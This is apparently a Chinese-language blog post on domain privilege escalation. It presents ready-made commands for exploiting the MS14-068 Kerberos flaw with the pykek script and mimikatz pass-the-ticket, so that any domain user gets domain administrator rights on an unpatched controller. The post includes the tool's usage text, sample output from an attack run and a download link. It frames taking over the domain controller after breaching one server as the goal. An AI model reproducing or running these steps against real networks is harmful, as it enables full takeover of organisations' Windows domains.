提權:

會提權的兄弟應該都知道 域的許可權是整個區域網最高統治權 當我們拿下一臺伺服器 只是域下的一臺機器 這時候 就會想盡辦法 拿下域控制伺服器

不知道的可看本部落格之前做的教程

可以讓任何域內使用者提升為域管理員

使用命令:

c:\python27\python.exe ms14-068.py -u [email protected] -p [email protected]# -s S-1-5-21-4191298166-3247023184-3514116461-1110 -d K8DNS.k8.local
mimikatz.exe “kerberos::ptc [email protected]

ms14-068.py

Exploits MS14-680 vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups :

Domain Users (513)

Domain Admins (512)

Schema Admins (518)

Enterprise Admins (519)

Group Policy Creator Owners (520)

USAGE:

ms14-068.py -u @ -s -d

OPTIONS:

-p

–rc4

Example usage :

Linux (tested with samba and MIT Kerberos)

[email protected]:~/sploit/pykek# python ms14-068.py -u [email protected] -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc

Password:

[+] Building AS-REQ for dc-a-2003.dom-a.loc… Done!

[+] Sending AS-REQ to dc-a-2003.dom-a.loc… Done!

[+] Receiving AS-REP from dc-a-2003.dom-a.loc… Done!

[+] Parsing AS-REP from dc-a-2003.dom-a.loc… Done!

[+] Building TGS-REQ for dc-a-2003.dom-a.loc… Done!

[+] Sending TGS-REQ to dc-a-2003.dom-a.loc… Done!

[+] Receiving TGS-REP from dc-a-2003.dom-a.loc… Done!

[+] Parsing TGS-REP from dc-a-2003.dom-a.loc… Done!

[+] Creating ccache file ‘[email protected]’… Done!

[email protected]:~/sploit/pykek# mv [email protected] /tmp/krb5cc_0

On Windows

python.exe ms14-068.py -u [email protected] -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc

mimikatz.exe “kerberos::ptc [email protected]” exit`

下載地址

https://github.com/bidord/pykek